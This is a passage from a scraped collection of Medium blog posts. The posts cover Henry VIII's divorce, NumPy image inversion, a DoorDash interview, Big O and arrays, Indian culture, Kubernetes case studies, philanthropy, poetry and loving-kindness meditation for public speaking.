2020-04-27 00:21:32.950000+00:00

['Colourism', 'Race', 'Relationships', 'Desirability', 'Politics']

How a Divorce Changed the Course of Christianity as We Know It Today

The most celebrated divorce case in history remains that of King Henry VIII and his wife Catherine of Aragon, who was also the widow of Henry’s brother, Arthur. The marriage had failed to produce a male heir. Catherine was pregnant six times altogether but each time it resulted in either a miscarriage or a short-lived baby. Henry was getting old and was desperate for an heir. He was looking for a way out of his marriage and marry Anne Boleyn. His argument was that since he married his brother’s widow, this was against God’s will and resulted in a cursed marriage. He tried hard to seek confirmation from the Church that if a man marries his brother’s wife, the couple will be childless. This did not bode well with Pope Clement VII and he sent out a letter to King Henry VIII warning him of excommunication, not to mention the disgrace and condemnation by the people. Divorce in the royal family was looked down upon and was not consistent with the Catholic faith of that time. A decade earlier, he was rewarded the prestigious title of Fidei Defensor, or Defender of the Faith by the Church because of his contributions towards opposing protestant reformation. And now in 1531, Henry was so preoccupied and infatuated that he was ready to pay excommunication as a price for his love for Anne and a potential heir. Pope Clement VII would not budge. In 1532 Henry banished Catherine and married Anne and in 1533 Anne was crowned as the queen of England.

https://medium.com/lessons-from-history/how-a-divorce-changed-the-course-of-christianity-as-we-know-it-today-c65ac3aa744a

['Kamna Kabir']

2020-08-10 17:00:27.513000+00:00

['History', 'Marriage', 'Religion', 'World', 'Christianity']

Inverting an Image using NumPy’s Broadcasting method

In this article, we will learn how to invert an image using NumPy. To get some gist of this, let’s we have two values 0 and 1. Here 0 represents Black and 1 represents White. When we apply inversion to these values, we get: 0 → inversion → 1 1 → inversion → 0 The above only works when we two values. 0 for low and 1 for high. If we were to relate the same with the Binary Image whose pixel values are just 1’s and 0's. The inversion would be reversed. To put it in words we can say from White and Black to Black and White. Broadcasting Unlike lists, if we want to add a number to the values of the list. We iterate through each element and add the number. Whereas, in NumPy, we need not iterate through each element and add. Instead, we can treat the array list as a single element and add the number. NumPy automatically adds that number to all the elements of the array list. This technique is called broadcasting. The broadcasting technique is applicable to both matrices and arrays. It is very fast when compared to normal loops. >>> import numpy as np >>> M = np.array([1, 2, 3, 4, 5, 6]) >>> M = 3 + M >>> M array([4, 5, 6, 7, 8, 9]) >>> Let’s see the demonstration for a random matrix. White — Black A simple demonstration of the White — Black matrix and the image can be seen below. 1 is visualized as White 0 is visualized as Black >>> import numpy as np >>> image_b = np.array([ ... [1,0,1], ... [1,1,0], ... [0,1,1]]) >>> image_b array([[1, 0, 1], [1, 1, 0], [0, 1, 1]]) >>> If we visualize the above matrix, we can see something like the below. Image by Author Black — White A simple demonstration of the Black — White matrix and the image can be seen below. 1 is changed to 0 → Black 0 is changed to 1 → White >>> # Broadcasting >>> image_i = 1 - image_b >>> # image_i = ~ image_b >>> image_i array([[0, 1, 0], [0, 0, 1], [1, 0, 0]]) >>> If we visualize the above matrix, we can see something like the below. Image by Author To convert a matrix into an inverted matrix we can also use the operation ‘~’. It works in the same way. If you want to know specifically how to convert an image into binary, you can refer to my article where I explain the procedure for both colored and grayscale images. The above implementation worked since the images are already binarized. What if we wanted to apply this for a colored and non-binarized image? The scenarios will be different. Let’s find out what we can do for those.

https://medium.com/analytics-vidhya/inverting-an-image-using-numpys-broadcasting-method-1f5beb7f9fa5

['Sameeruddin Mohammed']

2020-12-27 06:20:12.165000+00:00

['Image Processing', 'Numpy', 'Programming']

Interview with Rajat Shroff

Interview with Rajat Shroff VP of Product at DoorDash Hi Rajat, tell me about what you do at DoorDash. I run Product and Design. The teams are responsible for developing product strategy and executing visions to help DoorDash achieve its mission of helping local communities and businesses reach their full potential. What does the DoorDash Product team work on? There are two aspects of the product team’s work. One is based on the audience group we support: Consumer, Merchant, and Dashers. Consumer team is focused on helping consumers get their food faster at a more affordable price. Merchant team is all about helping the merchants grow their business and operate more efficiently. Dasher team enables our Dashers to earn more on the DoorDash platform with flexibility. Another set of teams is based on the new vertical products that touch on all three audiences in the DoorDash ecosystem. Some examples are Catering, Convenience, and Grocery. What made you decide to join DoorDash 3 years ago? I worked on several products that have helped small businesses find ways to grow over 10 years. It’s often harder for small businesses to capitalize on the ROI of online systems like SEO and ads. Most existing solutions require merchants to heavily discount or advertise their products, and merchants don’t have the flexibility they’d like to attain specific goals. I’ve been looking for a company that lives by a merchant-first approach and found that DoorDash was exactly that. DoorDash provides the flexibility to merchants to solve their unique challenges, whether it’s about bringing new customers, creating loyalty programs, introducing new products, expanding to catering, building their own marketing channels, etc. You’ve been leading the products in many other tech companies in the past. What makes our product org stand out? First of all, we made an intentional decision to keep the product and design team small, so that each of us has a tremendous amount of leverage. The impact each of us makes should be visible from space. Secondly, we don’t think about what we build as a “product.” Rather, we think about what we build as a “service.” We know that our customers come to DoorDash not because of the app itself, but because they need a service. For consumers, it means getting their food on time from their favorite merchants. For Merchants, it means getting more orders from more customers and growing their businesses. Dashers, it means earning more money as efficiently as possible. To deliver the service-driven product, you have to collaborate with Sales, Support, and Operation teams closely. Every PM and Designer needs to understand operational challenges and then use technology to scale the solution. And a lot of times, this doesn’t happen while sitting behind the desk. A lot of our teams are experiencing each audience in the field. For example, our merchant team would work behind the counter or spend days in the kitchen to observe the merchant’s operational challenges. Our Dasher team would ride along with Dashers to understand the challenges around parking, pickup, and dropoff processes. Because of this uniqueness in how we operate as a Product org, we want to hire people who have a strong bias towards action. They need to have ambition but should be able to break up problems into small parts to test their hypotheses faster. Curiosity is another important one as they need to know the ins and outs of their customers. As we are tightly knitted with cross-functional teams on all problems we solve, collaboration ability is also critical. How would you describe the culture of DoorDash Product and Design? Foremost importantly, a strong sense of ownership. The leadership team provides goals and then from there, how each team achieves their goals truly comes from bottom up. PMs and Designers obsess about their audience, define the strategy, and drive the solution. Another unique culture about us is speed, a breakneck speed. We spend a lot of time prioritizing so that the execution itself can go fast. We create projects fast, launch them fast, and also kill them fast if they don’t work. Agility and resilience have been in our DNA from day one. How do you work with the Design team day to day? I’m quite closely plugged into the design processes end to end, from the product briefs to vet the problem statements as a team, the design reviews to iterate the design strategy and execution, to the ship review to ensure the quality of the product we’re shipping. I also closely work with the research team to understand customer insights. Besides those recurring reviews, I also enjoy strolling around the design team’s area in the office. And this is when I hear a lot of interesting new ideas from designers in more informal settings. Often I’m impressed by the team thinking beyond what’s on the roadmap to bring more delight to our customers, and I feel excited to help bring those visions to come true. What do you think the Design’s role is in the product organization? The design team is the keepers of customer delight and customer love. They are the ones who are the closest to what the customer touches at the end of the day. I believe Design’s role is to keep the rest of the org honest in building the right user experience as our product is advancing. At DoorDash, designers are highly encouraged to bring a strong opinion and challenge the cross-functional partners. I value some healthy friction in debates as it uncovers new areas and broadens our perspectives. Also, I look to the design team to the rest of the company about how to apply the customer love to drive a delightful experience end to end. Looking back a year, what excites you about the Design team at DoorDash? For the past year, the team has literally tripled its size and we have brought in many new talents into DoorDash. Now there’s a robust process that enables us to move faster while keeping the design standard high. The design team has also found a strong voice within the company, and they feel more empowered to bring perspectives in decision-making processes. All of these make me very excited about where the Design team is now as well as what it’ll become in the future. Do you have any advice to give to Design/Content/Research candidates who are considering to join DoorDash? The problems we’re solving at DoorDash are difficult and complex, involving multi-sided audiences, online and offline. And we provide lots of high leverage opportunities for folks to come and invent new things and make an impact that’s visible from space. Adding to that, our mission of uplifting our local communities is very relevant for the current climate we are in. If you’re ready to learn a lot from amazing design leaders and make a massively outsized impact, this will be the best team to join! Thanks, Rajat for your time! :-) ======= Please learn more about other leaders at DoorDash: Christopher Payne—Chief Operating Officer Kathryn Gonzalez — Manager for Design Infrastructure Radhika Bhalla — Head of UX Research Sam Lind — Sr Manager for Core Consumer Design Tae Kim — UX Content Strategist Lead Tony Xu — Chief Executive Officer Will Dimondi — Manager for Merchant Design

https://medium.com/design-doordash/interview-with-rajat-shroff-37bf9ea9eb9f

['Helena Seo']

2020-06-12 01:24:07.397000+00:00

['Leadership', 'Product Management', 'Design', 'DoorDash', 'Product Design']

Connecting the dots — Big O and Array Data Structure

In my previous article, I mentioned that algorithms are steps performed on some data to solve some problem(s). Data structures are ways we structure, manage and organize data. For example, If you want to sort the videos in YouTube, we click the sort icon to sort. How does it sort? There are data structures available for sorting. Types of Data Structures There are many data structures such as Arrays, LinkedList, Binary search tree, Stack, Queue, Graph etc and some of these names are language specific. For example, in Java we call it as Hash table and in JavaScript it is referred as Objects (I will be using with JavaScript here). We determine which data structure is better at certain situation using Big O. Data Structures Let us see the correlation of Big O and the Array data structure. An Array is a collection of items. It could be strings, numbers or combination of both. We can add or remove items to an array. The efficiency of an algorithm changes based on the where you add or remove items in an array. You can insert or delete elements from the beginning, middle or at the end. Beginning : In the below diagram, there is an array of items listed where we are trying to add an item at the beginning. When we add an array, we shift() the rest of the items and all the indices corresponding to the array needs reindexing. The same applies with removing an item [unshift()]at the beginning of the array. Recollect what is Big O(n)? The time taken for this operation is proportional to the size of the array. So, it takes linear time to add or remove an element at the beginning. Beginning of the Array Middle: To add an item in the middle of the array we use splice(). When we insert an item in the middle, the rest of the items needs reindexing. This is similar to adding array at the beginning of the array. Therefore, this operation will also be in linear time or Big O(n). Middle of the Array End: When we perform a push() or pop() items on an array at the end, we do not need to reindex. In this case, the time taken for this operation is constant to the size of the array. So, it takes Big O(1) or constant time to add or remove an element at the end. Easy? End of the Array To summarize, Array will have time complexities of Big O(n) or Big O(1) depending on where insertion and deletion of items takes place and the space complexity will be Big O(n). In the next article, we will see another data structure with Big O notation. If you like this article please follow and give me a clap! Resources: MDN , Grokking Algorithms

https://medium.com/@sdkdeepa/connecting-the-dots-big-o-and-array-data-structure-2a8abe376b1b

['Deepa Subramanian']

2021-08-23 02:05:03.405000+00:00

['Data Structures', 'Beginner', 'Arrays', 'Big O Notation']

I Published over 150 Stories on Medium — Here’s What I Learned

If you’re new to Medium; write, a lot. As I said, I’ve managed to push out around 2–3 articles per day since September. However, I took a break these last few weeks, where I noticed something utterly heartbreaking. I’d normally average around a few hundred views per day. Yet, I almost dwindled to a measly 5–10 views per day without publishing anything new over the last few weeks. Heartbreaking. Daily Views/ October Daily Views/ November As you can see, due to my lack of writing — even with over 80 curated articles — my daily views started to dwindle. Last week, I committed to getting back into the habit of publishing at least 1–2 articles per day, and you know what? Immediately, my daily views rebounded back to an average of 200–300 views per day. Now, to many of you, it may not seem like much, but the point is there to prove. Your old posts will get lost in a sea of desperate writers. To make it on Medium, you have to write consistently — at least in the beginning. Maybe, one day, when I have thousands of followers, then I’ll be able to relax — slow down. Until then, I make it a habit to write a lot.

https://medium.com/swlh/i-published-over-150-stories-on-medium-heres-what-i-learned-5920a6bbbb36

['Jazz Parks']

2020-11-27 09:47:29.781000+00:00

['Self', 'Life Lessons', 'Blog', 'Entrepreneurship', 'Writing']

Top 5 Stocks In S&P 500 1980–2020

The chart below offers an interesting distraction in these turbulent times. The gradual change in the composition of the largest S&P weightings over-time offers a variety of lessons. The change from 1980 to 2020 (roughly half a lifetime) illustrates the remarkable diminishment of the economic influence of the oil industry in favour of the dominance of companies empowered by the development of the internet. The much greater weighting represented by the top 5 in 2020 than in previous years suggests that we can expect greater S&P volatility, both up and down, in the years ahead. The most conspicuous lesson, of course, is the role that change plays in the capital markets and our lives. The most certain lesson from the chart is that the top 5 stocks in 2060 will look very different than in 2020. If you found this post of interest, you’ll find the Global Investment Letter of value. To view free sample issues please visit: https://www.globalinvestmentletter.com/sample-issue/

https://medium.com/@jonathanbaird88-89120/top-5-stocks-in-s-p-500-1980-2020-acee6b3b2792

['Jonathan Baird Cfa']

2020-12-21 12:36:55.458000+00:00

['Startup', 'Financial Planning', 'Investment', 'Investing', 'Stock Market']

Reasons Why India Is Different

Hospitality Indian hospitality is appreciated entirely in the world. It probably has no match. We consider the truthfulness in the statement- “Atithi Devo Bhava” and follow it wholeheartedly. We do not differentiate between people. We also ensure to at least offer a glass of water to the guests who come home. That’s obviously the least we can do. The food is delicious Picture by Chan Walrus on Pexels Be it South Indian or North Indian or the spicy cuisine from North-Eastern states, you will love it. There is nothing like it. All of the spices, and flavours, and tasty curries will make your taste buds dance with delight. Even if you give us the most basic ingredients, we’ll cook something that will leave you satisfied and asking for more. We eat with our hands See, man, that’s who we are and that’s what we do! You will find Indians at home eating something ridiculous like a fruit salad with their hands. We are all different Each state is different and unique in its own way. We speak different languages and we eat different food. We learn differently and converse differently too. You can spend time in Punjab and travel down to Hyderabad and you will feel like you have come to a new planet! We share no similarities except for the love we have for our country. There are times when you will travel within a state, for instance, Karnataka, and you will find people speaking different languages too! People in Hubli speak differently when compared to the way people in Mysore speak. Indian railways Yes, I said it right. Indian Railways. I do understand that qualitywise our railway system is not the best compared to other countries. But cost-wise, Indian railways is one of the cheapest in the world. Though flying through the clouds is one of the best ways to travel, why fret if you have time to spare? Sit back and enjoy as the train takes you around the country. There are animals everywhere Picture by Cottonbro on Pexels From holy cows to little goats, to friendly dogs, to mischievous monkeys, to pigs and cute cats, and even the odd elephant and camel all freely roam around the crazy, busy, and chaotic streets of India. You can even pet a few and receive some love back too. We are family We are all didi (sister), bhaiyya (brother), aunty, or uncle to someone or the other. No secrets No matter how old we are, our parents need to know every little detail about our lives. Daily. Every hour. Every minute. No excuses. No exemption. We wobble our heads way too much This is a classic trait that makes Indians different from the rest. It can be confusing at first for a foreigner — it could mean yes, no, maybe, or I don’t know. But don’t worry, you’ll soon start to make sense of it and it’s infectious too. You’ll soon find yourself doing the same while making the silliest of conversation. We worship God but Cricket is our religion Well, we cannot help it. India is so exceptionally good at the game that you just want to glue yourself to the TV when the men in blue make their way onto the field. We celebrate a billion things Picture by Amol Nandiwadekar on Pexels Every single day one or more fun festivals are being celebrated that have their own religious significance behind them. We cook delicious food and share it with people while we pray for ourselves and our loved ones. Not to forget the fact that we get lovely, extravagant, and beautiful gifts or money on some occasions such as Eid, Rakshabandhan, Diwali, and what not! Some couples even go ahead and celebrate a week of Valentine’s Day with gifts like roses, teddy bears and chocolates. A little too much? Maybe. Will we stop? No. Street food Oh man, this is the best part! From masala dosa in Bangalore to vada pav in Mumbai to chaat in Delhi to chai in Hyderabad, street food gets us all salivating. The inexpensive, varied, quick and accessible street food fills the six o’clock hunger like no expensive coffee and sandwich can. We are imperfect And we love it! India and Indians are raw and real. We are a true example of beauty in the dirt. We have faith within the chaos which will reassure you that it’s ok not to be perfect.

https://medium.com/indian-thoughts/reasons-why-india-is-different-33240c30bb34

['Neha Ravindra']

2020-12-01 16:17:20.209000+00:00

['India', 'Food', 'Satire', 'Culture', 'Religion']

Riot Alone

It shakes me when I learn that simple words can summon thousands of people all across America out of their homes and out of their closets. One voice announcing one decision possesses them to break things and throw things and form a kind of mindless hive. They swarm and scramble. They riot, because something in the hive mind has been lit on fire. But for me, it only exists on a screen. It’s like watching ants in an ant farm, or a YouTube video of a hornet’s nest. Newspapers make more money with each headline, with each shot of tear-gassed crowds. It’s happening all over the country. New York, Los Angeles, Seattle, Chicago, Oakland. But not where I am. Not in Madison. Madison remains somehow exempt from this voice. This supreme jury doesn’t reach Madison the same way as it reaches New York, or Los Angeles. No fires erupt, nobody swarms from their homes. Not in Madison. My eyes glued to my computer screen, I watch years of imprisoned anger and rage spew out, preceded by hashtags. One fire starts another, and that one starts another. I watch that fire spread without logic or reason. In any other city, people look out of their windows and see their angry brothers trying to raise their voices to be heard. The sounds form a broken chorus. But not in Madison. I open my mouth, but no voice erupts. No sound. No voice. No chorus. So I step outside onto my porch; still, no voice erupts. I wonder how far I might need to go for my voice to be heard. I step off my front doorstep, into my street, and scream at the top of my lungs. But no one hears, because no one is there. A car passes by. The night drips by slowly. I walk to the bridge, overlooking the lake, and there’s no one there, either. No hearts have been summoned; no mind has been formed by fire. I scream over the bridge, and no one hears me. So I walk to the highway, where even though it’s late, cars are still whizzing by. Each car carries a person trying to get somewhere else; they pass me by, as fast as they can. All the images and live-streaming videos of people across the country flash in my mind, and I step out onto the freeway. I wave my hands. If I were in New York, or Los Angeles, or Oakland, or Seattle, I would do this exact same thing, along with a hundred other people. We would all raise our hands and run and scream and wave and rush out onto the roaring highway. But it’s just me. There’s no one to join me. Not in Madison. And maybe one of those people in the cars driving past me will whip out their phone, and take a video of me, and upload it, and someone in another small town will realize that I’m just like them. And they’re just like me.

https://medium.com/a-story-each-day/riot-alone-d3ead052175c

['A Story Each Day']

2015-11-25 05:13:53.176000+00:00

['Fiction', 'Short Story', 'A Story Each Day']

Comics and Graphic Novels in the Classroom

Photo by Mahdiar Mahmoodi on Unsplash I could not imagine how comics will be a good way to make a class, but it had a reason: I had never read a comic or a graphic novel in my life. I did not know why, perhaps I was focused on other kinds of texts. So, the day when Dr. Mora (my teacher) said “if you have any comic, please bring it for the next class” I did not have an idea about what to expect or what we were going to do during the session, but as always, the class exceeded my expectations and it made me read my first graphic novel once I was at home. The teacher presented the comics and graphic novels. It caught my attention instantaneously due to the way he talked about them and how priceless they are. Every one of them has a story in his life and I consider it is very important because integrating in the classroom some of your passions, hobbies or interests is a significant method to teach a purpose which in this case was to create our own comic with essential rules that a class should have. There is where the value of teaching is. To demonstrate how passions can be an instrument to teach about something. In this case, comics have characters and plots that can make the class more enjoyable, dynamic and interesting meanwhile you are learning about something in a critical way. They are good resources to transmit knowledge or to tell historical issues as the case of “Mause” the Art Spiegelman’s graphic novel that presents a story about the Holocaust represented with mice for the Jews and cats for the Nazis. Definitely, having the experience of creating our own comic was an unforgettable moment. The information flows easier while you are learning something. You enjoy drawing, painting and thinking up the idea you want to tell. It motivates the students to continue reading in and outside the classroom. Thus, comics and graphic novels will be a part of my teaching process once I finish my professional career. In the meantime, I will continue reading some of them, and probably some of them will be priceless for me.

https://medium.com/the-matl-upb-chronicles/comics-and-graphic-novels-in-the-classroom-e9f1cf78178c

['Sebastian Ciro']

2020-04-30 22:01:26.646000+00:00

['Matlupbchronicles', 'Matlupb', 'First Post']

Bringing the “how” of social change back into balance with the “how many” — Building Impact

In the face of so much inequality and suffering in our world, many funders wrestle with the magnitude of their impact. They search for ways to maximize the impact of every dollar contributed in an effort to reach as many people as possible. But that push to scale up solutions quickly can become an unhealthy obsession with how many people your philanthropic work touches or how much money was spent if it’s not balanced by an equal emphasis on the question of how the work was done, and whether it was effective at fixing the root causes of suffering. So often, what we end up measuring and celebrating within philanthropic circles are inputs and outputs, instead of outcomes. A focus on the right set of inputs and outputs is essential, but insufficient to address problems at their root and to change outcomes. I believe there are a few key cultural reasons why we have an overemphasis on the “how many” aspect of philanthropy, and too little consideration of the “how”-how lives were changed, how decisions were made, how hearts and minds were converted to make change sustainable, and how root causes were eliminated. The scale of the problems skews our focus. In all areas of philanthropic work, whether we’re talking about education reform, hunger relief, disease eradication, or any other area, the need is so great that we all recognize the need for scalable solutions. But our obsession with scale leads us to design interventions with scalability as the highest value, and we often begin implementing those interventions at massive scale before we’ve proven that they are effective at solving the root problem. I saw this happen during my time at D.C. Public Schools (DCPS). No Child Left Behind (NCLB), the federal legislation passed under the Bush Administration to get 100% of students to proficiency in reading and math by 2013, led to the reconstitution of 18 schools in DCPS in an effort to improve outcomes by raising the caliber of teachers and staff. But our efforts fell far short of our goals. In theory, NCLB gave opportunities for customized solutions, but in practice, the program’s aggressive deadline left no time to develop solutions that took into account the unique situations of each school. . The “how” often gave way to the mandate to improve student proficiency, an output, as quickly as possible. Another norm within the world of philanthropy that can lead to overweighting the importance of results that are easy to measure is the structure of nonprofit boards and foundation boards. Most boards are made up of leaders from the business sector, and they sometimes end up approaching social problems like business problems, without an appreciation for the differences between the two spheres. Board members who have had success in a Fortune 500 company may expect social change to happen at a linear, steady pace, and to be as easily measurable as the profits and losses of a corporate enterprise. When the board is oriented toward wanting to see data that says the foundation is moving the needle, then the staff becomes focused on producing evidence that says they’re moving the needle. Even if they know the data is misleading, they may have very valid concerns about their job security if they can’t produce the results the board wants to see, and so they go along with projects that lead to improved outputs without achieving the desired outcomes. This plays out over and over again in education, whether it’s over-promotion of failing students to the next grade in order to improve graduation rates, or coordinated efforts to improve test scores as we saw happen in Atlanta in 2009 . And finally, our culture of individualism leads us to reward and celebrate individual contributors instead of collaborative efforts. It’s easy to give credit to an individual for inputs or outputs; whereas real outcomes are influenced by many factors. When we do see improved outcomes, it’s typically after years, if not decades, of efforts from dozens of different groups. But our culture loves a hero, so we celebrate simplified indicators of social change-which are often just inputs and outputs-in order to identify those heroes. Celebrating these misleading indicators perpetuates the problem of continuing to ignore the “how” in favor of the “how many.” I’m not suggesting we need to stop collecting data and using data to make decisions and evaluate progress in philanthropy. For example, we absolutely need to have data around how students are doing and what they’re learning, and testing is still one of our best tools, even though we know it’s imperfect at best. We need to have a way to evaluate whether students have the basic skills they need to succeed. What is missing is accountability to the real-life outcomes. And accountability to the methods-the “how” of social change. We need to reevaluate the way we use quantitative data to assess progress. We need to understand that most of the quantitative data we can collect is just a leading indicator at best, that we’re probably going in the right direction, but it doesn’t mean we’ve transformed anything. I urge philanthropists to bring this obsession with “how many” people they impact back into balance with the importance of “how” they achieve that impact. Start finding ways to gather proof that outcomes are improving. Collect the stories that show that lives are changing, and not just that data points are trending upward. Stop celebrating outputs that have no correlation to improved outcomes. Lift up the stories of collaborative efforts that produced sustainable improvements, and recognize that social change often looks like two steps forward, one step back.

https://medium.com/@buildingimpact/bringing-the-how-of-social-change-back-into-balance-with-the-how-many-building-impact-40b8c812544b

['Building Impact']

2020-12-04 19:51:11.957000+00:00

['Philanthropy', 'Culture', 'Schools', 'Data', 'Social Change']

Kubernetes — solving use cases of industry

Kubernetes — solving use cases of industry Kubernetes was originally developed at Google and released as open source in 2014. It is for automating deployment, scaling, and management of containerized applications. It groups containers that make up an application into logical units for easy management and discovery. Why to use Kubernetes: Service discovery and load balancing Kubernetes can expose a container using the DNS name or using their own IP address. If traffic to a container is high, Kubernetes is able to load balance and distribute the network traffic so that the deployment is stable. Storage orchestration Kubernetes allows you to automatically mount a storage system of your choice, such as local storages, public cloud providers, and more. Automated rollouts and rollbacks You can describe the desired state for your deployed containers using Kubernetes, and it can change the actual state to the desired state at a controlled rate. For example, you can automate Kubernetes to create new containers for your deployment, remove existing containers and adopt all their resources to the new container. Automatic bin packing You provide Kubernetes with a cluster of nodes that it can use to run containerized tasks. You tell Kubernetes how much CPU and memory (RAM) each container needs. Kubernetes can fit containers onto your nodes to make the best use of your resources. Self-healing Kubernetes restarts containers that fail, replaces containers, kills containers that don’t respond to your user-defined health check, and doesn’t advertise them to clients until they are ready to serve. Secret and configuration management Kubernetes lets you store and manage sensitive information, such as passwords, OAuth tokens, and SSH keys. You can deploy and update secrets and application configuration without rebuilding your container images, and without exposing secrets in your stack configuration. Use cases solved by Kubernetes: Case study: Nokia When people are picking up their phones and making a call on Nokia networks, they are creating containers in the background with Kubernetes. — GERGELY CSATARI, SENIOR OPEN SOURCE ENGINEER, NOKIA — GERGELY CSATARI, SENIOR OPEN SOURCE ENGINEER, NOKIA Nokia was the first name in mobile phones when they were becoming ubiquitous in the late 1990s and early 2000s. But by 2014, the company had sold off its mobile device division and was focusing its core business not on the handhelds used for calls, but on the networks. Challenge As telecom vendors, we have to deliver our software to several telecom operators and put the software into their infrastructure, and each of the operators have a bit different infrastructure. There are operators who are running on bare metal, virtual machines, VMware Cloud and OpenStack Cloud. We want to run the same product on all of these different infrastructures without changing the product itself. says Gergely Csatari, Senior Open Source Engineer. Solution The company decided that moving to cloud native technologies would allow teams to have infrastructure-agnostic behavior in their products. “The simplicity of the label-based scheduling of Kubernetes was a sign that showed us this architecture will scale, will be stable, and will be good for our purposes,” says Csatari. The first Kubernetes-based product, the Nokia Telephony Application Server, went live in early 2018. Case Study: Spotify An Early Adopter of Containers, Spotify Is Migrating from Homegrown Orchestration to Kubernetes. Launched in 2008, the audio-streaming platform has grown to over 200 million monthly active users across the world. “Our goal is to empower creators and enable a really immersive listening experience for all of the consumers that we have today — and hopefully the consumers we’ll have in the future.” By late 2017, it became clear that “having a small team working on the features was just not as efficient as adopting something that was supported by a much bigger community.” — Jai Chakrabarti, Director of Engineering, Infrastructure and Operations. An early adopter of microservices and Docker, Spotify had containerized microservices running across its fleet of VMs with a homegrown container orchestration system called Helios. Case study: The New York Times Challenge When the company decided a few years ago to move out of its data centers, its first deployments on the public cloud were smaller, less critical applications managed on virtual machines. We started building more and more tools, and at some point we realized that we were doing a disservice by treating Amazon as another data center. — Deep Kapadia, Executive Director, Engineering, The New York Times He was tapped to lead a Delivery Engineering Team that would “design for the abstractions that cloud providers offer us.” Solution The team decided to use Google Cloud Platform and its Kubernetes-as-a-service offering, GKE. Feel free to contact on my linkedin.

https://medium.com/@bhaveshs6/kubernetes-solving-use-cases-of-industry-5ed7587d4f0d

['Bhavesh Kakrotra']

2020-12-26 18:20:34.739000+00:00

['Kubernetes', 'Linux']

Complicated

Complicated Photo by Lysander Yuen on Unsplash The reason I am so complicated is because you want me to be so simple My complication is a byproduct of what you want me to be But nothing about the makeup of a human being is simple or easy We are blood, cells, water, skin pulsating emotions and hot flashes moving beings against gravity and you think that understanding me should be easy But I don’t want to be easy or simple or something to take for granted because you think you can read me I’d rather be this endless maze a logic problem inside a Rubik’s Cube a deep thought inside of an allegory so you can peel my onion and watch me cry The reason I am so complicated is because it’s protection a suit of armor with the perfect amount of patina from being out in the snow and rain and being weathered by the world and death and loss and grief so I just look out of the eye holes of my helmet and into your confusion and resign myself to sleeping in this suit so I don’t have to explain myself again

https://medium.com/a-cornered-gurl/complicated-3734a8847260

['Jonathan Greene']

2020-12-21 11:06:04.645000+00:00

['Relationships', 'Life', 'Self-awareness', 'A Cornered Gurl', 'Poetry']

Taking the Fear Out of Presentations

The Power of Loving-Kindness to Transform Public Speaking Photo by Artem Podrez from Pexels I regularly practice loving-kindness meditation, also known as metta meditation. Metta is the word in the original Pali language, and it doesn’t have an exact translation in English. It means something like universal goodwill or friendliness, but most often it’s translated as “loving-kindness.” Metta meditation has transformed my life in many ways, but there is one concrete benefit I get from it that others may benefit from as well. It has significantly improved my ability to speak in public, give presentations, and lead meetings, both in person and on Zoom or other video conferencing services. What is Loving-Kindness Meditation? Loving-Kindness or Metta meditation is a form of Buddhist meditation focused on cultivating benevolence towards others and yourself. In loving-kindness meditation, the meditator silently repeats phrases such as: May you be happy May you be free from suffering May you be well May you be healthy May you live with ease May you be safe The meditator usually directs these phrases toward him or herself, then toward someone they have a positive and uncomplicated relationship with, then toward someone they are neutral about — perhaps a co-worker or clerk they see in a store or neighbor, then toward someone they have a negative relationship with, and finally toward all beings on earth. “Buddha first taught metta meditation as an antidote: as a way of surmounting terrible fear when it arises.” ― Sharon Salzberg, Lovingkindness: The Revolutionary Art of Happiness Science-Backed Benefits The scientific study of loving-kindness meditation is just beginning, but research is already indicating that it can have positive benefits. Reduces self-criticism A 2015 study by Shahar et. al. assigned 38 participants with high levels of self-criticism to either do a loving-kindness meditation once a week for seven weeks or to a wait list. They found that those who did loving-kindness meditation had significantly lower levels of self-criticism and higher levels of self-compassion. Reducing self-criticism and increasing self-compassion before presenting to a group or speaking in public can help us reduce our anxiety and focus on the audience’s experiences rather than our fears. Want to read this story later? Save it in Journal. Generates positive emotions Studies conducted by Barbara Fredrickson have shown that regular practice of loving-kindness meditation led to shifts in people’s daily experiences of a wide range of positive emotions, including love, joy, gratitude, contentment, hope, pride, interest, amusement, and awe. Positive emotions in front of a group you a presenting to reduces the levels of fear or anxiety you can feel at the same time. Increases empathy Several studies (Hoffmann, Grossman & Hinton, 2011 & Hutcherson, Seppala & Gross, 2014) have shown that loving-kindness meditation increases empathy. Empathy means you are more aware of your audience’s needs and experiences, and it means you aren’t focused so fully on your own fears. Relaxes our body Researcher Rita Law found that only 10 minutes of loving-kindness meditation had a relaxing effect on the body. This was shown by increased respiratory sinus arrhythmia (RSA), a way of measuring your ability to enter a relaxing and restorative state, as well as slowed and relaxed respiration. I’ve focused on the studies of loving-kindness meditation that I think shed light on why it improves our ability and experience while public speaking. In addition these study results, other studies show benefits from loving-kindness in the following areas: More social connection, more pro-social behavior, increased compassion, reduced pain symptoms, reduced PTSD symptoms, improved motivation, reduced symptoms of schizophrenia and bipolar disorder, longer telomere length (associated with slower aging), and decreased bias against minorities. Applying this Technique to Public Speaking, Presentations, and Leading Meetings I used to have significant anxiety and fear when I had to speak in public. I would get shaky, turn red in the face, and sweat. I fumbled over my words, looked down, spoke too fast. At some point, I decided I needed to find a solution for my anxiety, because my career goals would require me to be able to speak in front of both small groups and large crowds at times. I joined Toastmasters, I accepted opportunities to present in front of small and medium-sized groups, and developed the confidence to know that even if I did start the presentation with a feeling of anxiety, I could trust that I knew my subject and would make it through. In the last few years, I’ve started accepting speaking assignments in front of bigger groups, including presenting in front of crowds of up to 100 strangers at conferences. The first time I spoke in front of a group of that size full of people I didn’t know, I was terrified. But, in addition to the confidence from the successes I’d had in the past in front of smaller groups, I had another tool I knew could help me: Loving-kindness. Here is how I use this powerful technique: When I’m in front of a group — leading a meeting, presenting to a group, giving a speech, whether in person or using video conference — I spend a few seconds before the meeting begins looking around the room and connecting with the gaze of a few individual people. I pick out one person in the audience and silently wish him or her well. I briefly think about all this person might have gone through recently — maybe they were running late this morning, maybe they had an argument with their spouse, maybe their child is sick and they are worried about him or her. There are so many small and large things that inevitably go wrong in every human life. I think about how I know that this person has at least some of those difficulties in life, and I think to myself: “May you be happy and avoid the worst suffering in this life. May you feel safe and contented. May you be healthy.” Thinking about this person and wishing them well humanizes them, and by association everyone else in the audience. When you are wishing someone else well, it is difficult to feel the same level of anxiety and fear about speaking in front of them at the same time. If I have time, I pick out another person and repeat the exercise. If I have time, I pick out another person and repeat the exercise. Next, I direct loving-kindness towards myself. I briefly think about the challenges I’ve faced in getting here, the work I’ve put in, the hopes and fears I have for this presentation. In the same way I might if I were thinking about a good friend, I direct compassion toward myself — “After all the experiences I’ve had, it’s understandable that I’d have these fears.” Then, I turn the energy of loving-kindness that I’ve been directed toward others toward 